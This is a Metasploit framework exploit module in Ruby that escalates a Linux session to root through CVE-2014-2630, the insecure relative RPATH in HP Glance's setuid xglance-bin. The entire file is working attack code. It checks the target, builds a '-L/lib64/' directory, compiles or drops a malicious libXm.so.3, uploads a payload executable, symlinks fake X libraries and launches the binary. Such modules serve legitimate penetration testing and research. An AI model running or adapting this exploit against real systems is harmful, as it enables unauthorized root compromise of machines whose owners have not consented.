##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HP Performance Monitoring xglance Priv Esc',
'Description' => %q{
This exploit takes advantage of xglance-bin, part of
HP's Glance (or Performance Monitoring) version 11 'and subsequent'
, which was compiled with an insecure RPATH option. The RPATH includes
a relative path to -L/lib64/ which can be controlled by a user.
Creating libraries in this location will result in an
escalation of privileges to root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Tim Brown', # original finding
'Robert Jaroszuk', # exploit
'Marco Ortisi', # exploit
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'Privileged' => true,
'References' =>
[
[ 'EDB', '48000' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/55' ], # permissions, original finding
[ 'URL', 'https://www.redtimmy.com/linux-hacking/perf-exploiter/' ], # exploit
[ 'URL', 'https://github.com/redtimmy/perf-exploiter' ],
[ 'PACKETSTORM', '156206' ],
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/' ],
[ 'CVE', '2014-2630' ]
],
'DisclosureDate' => 'Nov 19 2014',
'DefaultTarget' => 0
)
)
register_options [
OptString.new('GLANCE_PATH', [ true, 'Path to xglance-bin', '/opt/perf/bin/xglance-bin' ])
]
register_advanced_options [
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def exploit_folder
"#{base_dir}/-L/lib64/"
end
def glance_path
datastore['GLANCE_PATH'].to_s
end
# Pull the exploit binary or file (.c typically) from our system
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file)
end
def find_libs
libs = cmd_exec "ldd #{glance_path} | grep libX"
%r{(?<lib>libX.+\.so\.\d) => -L/lib64} =~ libs
return nil if lib.nil?
lib
end
def check
unless setuid? glance_path
vprint_error "#{glance_path} not found on system"
return CheckCode::Safe
end
lib = find_libs
if lib.nil?
vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
return CheckCode::Safe
end
vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# delete exploit folder in case a previous attempt failed
vprint_status("Deleting exploit folder: #{base_dir}/-L")
rm_cmd = "rm -rf \"#{base_dir}/-L\""
cmd_exec(rm_cmd)
# make folder
vprint_status("Creating exploit folder: #{exploit_folder}")
cmd_exec "mkdir -p #{exploit_folder}"
register_dir_for_cleanup "#{base_dir}/-L"
# drop our .so on the system that calls our payload
# we need gcc to compile instead of metasm since metasm
# removes unused variables, which we need to keep xglance-bin
# from breaking and not launching our exploit
so_file = "#{exploit_folder}libXm.so.3"
if live_compile?
vprint_status 'Live compiling exploit on system...'
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
code = exploit_data('CVE-2014-2630.c')
code.sub!('#{payload_path}', payload_path) # inject our payload path
upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
rm_f "#{so_file}.c"
else
payload_path = '/tmp/.u4aLoiq'
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx so_file, exploit_data('libXm.so.3')
end
# Upload payload executable
vprint_status 'uploading payload'
upload_and_chmodx payload_path, generate_payload_exe
# link so files to exploit vuln
lib = find_libs
# just to be safe, Xt and Xp were in the original exploit
# our mock binary is also exploitsable through libXmu.so.6
# unsure about the real binary
cd exploit_folder
['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l|
cmd_exec "ln -s libXm.so.3 #{l}"
end
# Launch exploit
print_status 'Launching xglance-bin...'
cd base_dir
output = cmd_exec glance_path
output.each_line { |line| vprint_status line.chomp }
print_warning("Manual cleanup of #{exploit_folder} may be required")
end
end